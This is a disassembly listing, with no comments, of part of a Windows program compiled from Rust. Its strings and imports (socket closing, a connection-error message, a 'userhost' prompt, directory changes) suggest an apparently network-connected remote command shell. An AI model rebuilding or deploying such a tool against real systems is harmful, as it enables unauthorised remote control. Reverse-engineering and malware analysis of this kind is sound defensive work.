lea r14, [rbp + 0x1a8]
mov qword [rbp + 0x250], r14
mov qword [rbp + 0x258], 1
mov rcx, rbx
call fcn.140019b90
mov rcx, rdi
call fcn.14002e145
mov rcx, rsi
call fcn.14002e18a
mov ecx, 0x80
xor edx, edx
call fcn.14000d5de
mov qword [rbp + 0xe0], rax
mov qword [rbp + 0xe8], rdx
and qword [rbp + 0xf0], 0
mov qword [rbp + 0x1a8], rsi
mov rcx, rsi
lea rdx, [0x140046609]
call fcn.14002de87
mov qword [rbp + 0x240], r14
mov byte [rbp + 0x248], 1
mov r8, qword [rbp + 0x1c8]
mov r9, qword [rbp + 0x1d0]
mov rcx, rbx
lea rdx, [0x14004660a]
call case.0x140017675.255
mov r8, qword [rbp + 0x1e0]
mov r9, qword [rbp + 0x1e8]
mov rcx, rbx
lea rdx, [0x14004660e]
call case.0x140017675.255
cmp byte [rbp + 0x248], 0
je 0x14002c39c
mov rax, qword [rbp + 0x240]
mov rcx, qword [rax]
lea rdx, str.userhost
call fcn.14002de87
mov rax, qword [rbp + 0xe0]
mov r15, qword [rbp + 0xe8]
movabs rcx, 0x8000000000000000
cmp rax, rcx
mov r14, qword [rbp + 0x288]
jne 0x14002c454
lea rax, str._0xU
mov qword [rbp + 0x240], rax
lea rax, [0x140002a80]
mov qword [rbp + 0x248], rax
lea rax, str._0x2_rustc_25ef9e3d85d934b27d9dada2f9dd52b1dc63bb04librarycore_src_strpattern.rs
mov qword [rbp + 0xe0], rax
push 1
pop rdi
mov qword [rbp + 0xe8], rdi
mov qword [rbp + 0xf0], rbx
mov qword [rbp + 0xf8], rdi
and qword [rbp + 0x100], 0
lea rcx, [rbp + 0x200]
mov rdx, rsi
call fcn.1400019e0
lea rcx, [rbp + 0x1c0]
call fcn.14002e601
mov rax, qword [r15]
cmp rax, rdi
je 0x14002c485
test rax, rax
lea rbx, [rbp + 0x220]
jne 0x14002c495
mov r8, qword [r15 + 0x10]
test r8, r8
je 0x14002c495
mov rcx, qword [r15 + 8]
push 1
pop rdx
call fcn.14002e103
jmp 0x14002c495
mov rsi, qword [rbp + 0xf0]
mov qword [rbp + 0x200], rax
mov qword [rbp + 0x208], r15
mov qword [rbp + 0x210], rsi
lea rcx, [rbp + 0x1c0]
call fcn.14002e601
lea rbx, [rbp + 0x220]
jmp 0x14002c4ae
lea rcx, [r15 + 8]
call fcn.14002e145
lea rbx, [rbp + 0x220]
mov rcx, r15
push 8
pop rdx
call fcn.1400014a0
mov r15, qword [rbp + 0x208]
mov rsi, qword [rbp + 0x210]
lea rcx, [rbp + 0x238]
mov rdx, r15
mov r8, rsi
call fcn.14002d2f8
test rax, rax
je 0x14002c4df
mov rsi, rax
mov rdi, rdx
mov rcx, qword [rbp + 0x200]
mov rdx, r15
call fcn.14000d62d
jmp 0x14002ca28
mov rcx, qword [rbp + 0x200]
mov rdx, r15
call fcn.14000d62d
xor esi, esi
jmp 0x14002ca28
mov rcx, rbx
call fcn.14002d405
lea rbx, [rbp + 0x220]
xor esi, esi
jmp 0x14002ca2f
mov qword [rbp + 0x298], r15
mov qword [rbp + 0x2a8], r12
lea rdx, [rbp + 0x250]
movups xmm0, xmmword [rdx]
lea rdx, [rbp + 0xf0]
movups xmmword [rdx], xmm0
mov qword [rbp + 0xe0], rax
mov qword [rbp + 0xe8], rcx
lea rcx, [rbp + 0x1c0]
lea rdx, [rbp + 0xe0]
call fcn.14002d878
mov rdx, qword [rbp + 0x1c8]
mov r8, qword [rbp + 0x1d0]
lea rcx, [rbp + 0x200]
call fcn.1400276e0
mov r12, qword [rbp + 0x208]
mov rdi, qword [rbp + 0x210]
mov rcx, rdi
xor edx, edx
call fcn.14000d5de
mov r15, rax
mov rsi, rdx
mov rcx, rdx
mov rdx, r12
mov r8, rdi
call fcn.14003d400
mov rcx, qword [rbp + 0x200]
cmp rcx, r14
mov r13, qword [rbp + 0x290]
je 0x14002c5b3
mov rdx, qword [rbp + 0x208]
call fcn.14000d62d
mov rcx, qword [rbp + 0x1c0]
mov rdx, qword [rbp + 0x1c8]
call fcn.14000d62d
movabs rax, 0x8000000000000000
cmp r15, rax
mov r14, qword [rbp + 0x288]
je 0x14002ca21
lea rcx, [rbp + 0x238]
mov rdx, rsi
mov r8, rdi
call fcn.14002d2f8
test rax, rax
je 0x14002ca14
mov r12, rax
mov rdi, rdx
mov rcx, r15
mov rdx, rsi
call fcn.14000d62d
mov rsi, r12
jmp 0x14002ca21
mov rcx, rsi
mov rdx, rdi
lea r8, [0x1400461d4]
push 4
pop rsi
mov r9, rsi
call fcn.14000d516
test al, al
mov r14, qword [rbp + 0x288]
je 0x14002c78b
lea rcx, [rbp + 0x238]
lea rdx, [0x1400461d9]
mov r8, rsi
call fcn.14002d2f8
test rax, rax
mov r13, qword [rbp + 0x290]
je 0x14002cd1d
mov rsi, rax
mov rdi, rdx
jmp 0x14002ca2f
lea rdx, [rbp + 0x250]
movups xmm0, xmmword [rdx]
lea rdx, [rbp + 0x1d0]
movups xmmword [rdx], xmm0
mov qword [rbp + 0x1c0], rcx
mov qword [rbp + 0x1c8], rax
lea rcx, [rbp + 0x200]
lea rdx, [rbp + 0x1c0]
call fcn.14002d878
mov rcx, qword [rbp + 0xe0]
mov rdx, rsi
call fcn.14000d62d
mov r15, qword [rbp + 0x208]
mov r12, qword [rbp + 0x210]
mov rcx, r12
xor edx, edx
call fcn.14000d5de
mov rsi, rax
mov rdi, rdx
mov rcx, rdx
mov rdx, r15
mov r8, r12
call fcn.14003d400
add r12, rdi
mov qword [rbp + 0xe0], rdi
mov qword [rbp + 0xe8], r12
and word [rbp + 0xf0], 0
mov rcx, rbx
mov rdx, r14
call fcn.1400207e0
mov rdx, qword [rbp + 0x250]
cmp rdx, qword [rbp + 0x240]
jne 0x14002c71f
mov rcx, rbx
call fcn.140010050
mov rdx, qword [rbp + 0x250]
mov r14, qword [rbp + 0x288]
mov r15, qword [rbp + 0x248]
and word [r15 + rdx*2], 0
mov rcx, r15
call qword [sym.imp.KERNEL32.dll_SetCurrentDirectoryW]
test eax, eax
je 0x14002c89c
xor r12d, r12d
jmp 0x14002c8ad
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov r15, rax
shl r15, 0x20
or r15, 2
mov qword [rbp + 0xe0], r15
cmp eax, 0x6d
je 0x14002c772
cmp eax, 0x26
jne 0x14002b64d
lea rcx, [rbp + 0xe0]
call fcn.14000dce0
and qword [rbp + 0x1c0], 0
jmp 0x14002b543
test r13, r13
jne 0x14002beeb
lea rcx, [rbp + 0x238]
lea rdx, [0x1400461d8]
push 1
pop r8
call fcn.14002d2f8
jmp 0x14002bf02
mov r8, qword [rbp + 0xf0]
lea rcx, [rbp + 0x238]
mov rdx, r15
call fcn.14002d2f8
test rax, rax
je 0x14002cadd
mov rsi, rax
mov rdi, rdx
mov rcx, r12
mov rdx, r15
call fcn.14000d62d
lea rbx, [rbp + 0x220]
jmp 0x14002ca21
xor eax, eax
lea rbx, [rbp + 0x240]
mov r13, qword [rbp + 0x290]
test rax, rax
mov rdi, rax
lea rcx, str._0x2_rustc_25ef9e3d85d934b27d9dada2f9dd52b1dc63bb04librarycore_src_strpattern.rs
cmove rdi, rcx
cmove rsi, rax
mov rcx, rdi
mov rdx, rsi
call case.0x140012664.265
test rax, rax
je 0x14002c83f
mov rcx, rax
call fcn.140001000
mov rsi, rax
lea rdi, fcn.14002e145
lea rbx, [rbp + 0x220]
jmp 0x14002ca2f
mov rcx, rdi
mov rdx, rsi
call fcn.140011d70
test al, al
je 0x14002ca93
lea rcx, [rbp + 0xe0]
mov rdx, rdi
mov r8, rsi
call fcn.14002a7a0
mov rdi, qword [rbp + 0xe0]
mov rsi, qword [rbp + 0xe8]
movabs rax, 0x8000000000000000
cmp rdi, rax
jne 0x14002cb02
mov rcx, rsi
call fcn.140001000
mov rsi, rax
lea rbx, [rbp + 0x220]
jmp 0x14002cbcf
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov r12d, eax
shl r12, 0x20
or r12, 2
cmp qword [rbp + 0x240], 0
je 0x14002c8c2
mov rcx, r15
push 2
pop rdx
call fcn.1400014a0
mov rcx, rsi
mov rdx, rdi
call fcn.14000d62d
mov qword [rbp + 0xe0], r12
test r12, r12
lea rbx, [rbp + 0xe0]
je 0x14002c8e8
mov rcx, rbx
call fcn.14002e145
mov rsi, qword [rbp + 0x208]
mov r8, qword [rbp + 0x210]
lea rdi, [rbp + 0x240]
mov rcx, rdi
mov rdx, rsi
call fcn.1400276e0
mov qword [rbp + 0xa8], rdi
lea rax, [0x140001540]
mov qword [rbp + 0xb0], rax
lea rax, [0x1400464e0]
mov qword [rbp + 0xe0], rax
push 1
pop rax
mov qword [rbp + 0xe8], rax
lea rcx, [rbp + 0xa8]
mov qword [rbp + 0xf0], rcx
mov qword [rbp + 0xf8], rax
and qword [rbp + 0x100], 0
lea rcx, [rbp + 0x1a8]
mov rdx, rbx
call fcn.1400019e0
mov rcx, qword [rbp + 0x240]
movabs rax, 0x8000000000000000
cmp rcx, rax
mov r12, qword [rbp + 0x2a8]
mov r15, qword [rbp + 0x298]
je 0x14002c991
mov rdx, qword [rbp + 0x248]
call fcn.14000d62d
movups xmm0, xmmword [rbp + 0x1a8]
movaps xmmword [rbp + 0xc0], xmm0
mov rax, qword [rbp + 0x1b8]
mov qword [rbp + 0xd0], rax
mov rcx, qword [rbp + 0x200]
mov rdx, rsi
call fcn.14000d62d
mov rcx, qword [rbp + 0x90]
mov rdx, qword [rbp + 0xa0]
call fcn.14000d62d
mov rsi, qword [rbp + 0xc0]
movabs rax, 0x8000000000000001
cmp rsi, rax
lea rbx, [rbp + 0x220]
je 0x14002beaf
mov rdi, qword [rbp + 0xc8]
mov r13, qword [rbp + 0xd0]
mov rcx, r15
mov rdx, r12
call fcn.14002d7f0
mov r12, rdi
mov r15, rsi
jmp 0x14002beeb
mov rcx, r15
mov rdx, rsi
call fcn.14000d62d
xor esi, esi
mov r12, qword [rbp + 0x2a8]
mov r15, qword [rbp + 0x298]
mov rcx, r15
mov rdx, r12
call fcn.14002d7f0
mov rcx, qword [rbp + 0x1f8]
mov rdx, r13
call fcn.14000d62d
mov rcx, qword [rbp + 0x78]
mov rdx, qword [rbp + 0x80]
call fcn.14000d62d
test rsi, rsi
jne 0x14002ccca
mov rdi, qword [rbp + 0x228]
lea rcx, [rbp - 0x50]
call fcn.14002e18a
mov edx, 0x2000
mov rcx, r14
call fcn.14002e627
mov rcx, qword [rbp + 0x220]
mov rdx, rdi
call fcn.14000d62d
jmp 0x14002aec0
mov qword [rbp + 0x298], r15
mov qword [rbp + 0x2a8], r12
lea r14, [rbp + 0xe0]
mov rcx, r14
call fcn.140011190
mov r12, qword [rbp + 0xe0]
mov r15, qword [rbp + 0xe8]
movabs r13, 0x8000000000000000
cmp r12, r13
jne 0x14002cb41
mov rcx, r15
call fcn.140001000
mov rsi, rax
jmp 0x14002cbac
mov rcx, r12
mov rdx, r15
call fcn.14000d62d
lea rbx, [rbp + 0x220]
mov r12, qword [rbp + 0x2a8]
mov r15, qword [rbp + 0x298]
jmp 0x14002c504
mov qword [rbp + 0x298], r15
mov r8, qword [rbp + 0xf0]
mov rcx, rbx
mov rdx, rsi
call fcn.1400276e0
lea rcx, [rbp + 0x200]
mov rdx, rbx
call fcn.140001d40
mov rcx, rdi
mov rdx, rsi
call fcn.14000d62d
lea rbx, [rbp + 0x220]
jmp 0x14002cc39
mov r8, qword [rbp + 0xf0]
mov qword [rsp + 0x20], rsi
mov rcx, rbx
mov rdx, r15
mov r9, rdi
call fcn.14001aef0
mov rcx, r12
mov rdx, r15
call fcn.14000d62d
mov rdi, qword [rbp + 0x248]
mov r8, qword [rbp + 0x250]
mov rcx, r14
mov rdx, rdi
call fcn.14002a7a0
mov r15, qword [rbp + 0xe0]
mov rsi, qword [rbp + 0xe8]
cmp r15, r13
jne 0x14002cbdb
mov rcx, rsi
call fcn.140001000
mov rsi, rax
mov rcx, qword [rbp + 0x240]
mov rdx, rdi
call fcn.14000d62d
lea rbx, [rbp + 0x220]
mov r14, qword [rbp + 0x288]
mov r13, qword [rbp + 0x290]
mov r12, qword [rbp + 0x2a8]
mov r15, qword [rbp + 0x298]
lea rdi, fcn.14002e145
jmp 0x14002ca2f
mov r8, qword [rbp + 0xf0]
lea rbx, [rbp + 0x1c0]
mov rcx, rbx
mov rdx, rsi
call fcn.1400276e0
lea rcx, [rbp + 0x200]
mov rdx, rbx
call fcn.140001d40
mov rcx, qword [rbp + 0x240]
mov rdx, rdi
call fcn.14000d62d
mov rcx, r15
mov rdx, rsi
call fcn.14000d62d
lea rbx, [rbp + 0x220]
mov r14, qword [rbp + 0x288]
mov r13, qword [rbp + 0x290]
mov r12, qword [rbp + 0x2a8]
mov r15, qword [rbp + 0x200]
mov rsi, qword [rbp + 0x208]
mov rdi, qword [rbp + 0x210]
movabs rax, 0x8000000000000000
cmp r15, rax
je 0x14002ca28
mov qword [rbp + 0x2a8], r12
jmp 0x14002c5e0
shl rax, 0x20
or rax, 2
mov rcx, rax
call fcn.140001000
mov rsi, rax
mov rdi, rdx
mov edx, 0x2000
mov rcx, r14
call fcn.14002e627
mov rcx, qword [rbp + 0x220]
mov rdx, qword [rbp + 0x228]
call fcn.14000d62d
mov rcx, qword [rbp + 0x238]
call qword [sym.imp.WS2_32.dll_closesocket]
mov rax, rsi
mov rdx, rdi
add rsp, 0x338
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret
lea rcx, [rbp - 0x50]
call fcn.14002e18a
jmp 0x14002cc83
call fcn.14003e6c0
lea r8, str._rustc_25ef9e3d85d934b27d9dada2f9dd52b1dc63bb04library_std_srciomod.rs
mov rdx, rsi
call fcn.14003e120
lea rax, [rbp + 0xe8]
movups xmm0, xmmword [rax]
lea r8, [rbp - 0x50]
movaps xmmword [r8], xmm0
lea rax, str.src_lib.rsError_connecting_to_:
mov qword [rsp + 0x20], rax
lea rcx, str.called__Result::unwrap____on_an__Err__value
lea r9, [0x140045fa8]
push 0x2b
pop rdx
call fcn.14003e480
call fcn.140027ab0
mov rcx, qword [rbp + 0x2a8]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea r8, [rbp + 0xe0]
mov qword [r8], r15
lea rax, [0x140044080]
mov qword [rsp + 0x20], rax
lea rcx, str.called__Result::unwrap____on_an__Err__value
lea r9, fcn.14000dce0
push 0x2b
pop rdx
call fcn.14003e480
jmp 0x14002cdec
mov rax, qword [rbp + 0xe8]
lea r8, [rbp + 0x240]
mov qword [r8], rax
lea rax, [0x140044050]
mov qword [rsp + 0x20], rax
lea rcx, str.called__Result::unwrap____on_an__Err__value
lea r9, fcn.14000dce0
push 0x2b
pop rdx
call fcn.14003e480
jmp 0x14002cdec
mov rax, qword [rbp + 0xe8]
lea r8, [rbp + 0x240]
mov qword [r8], rax
lea rax, [0x140044068]
mov qword [rsp + 0x20], rax
lea rcx, str.called__Result::unwrap____on_an__Err__value
lea r9, fcn.14000dce0
push 0x2b
pop rdx
call fcn.14003e480
jmp 0x14002cdec
push 1
pop rcx
mov rdx, rbx
call fcn.14003df10
call fcn.140001500
mov qword [rbp + 0x288], rdi
push 8
pop rcx
push 0x18
pop rdx
call fcn.14003df10
ud2
push 1
pop rcx
push 4
pop rdx
call fcn.14003df10
int3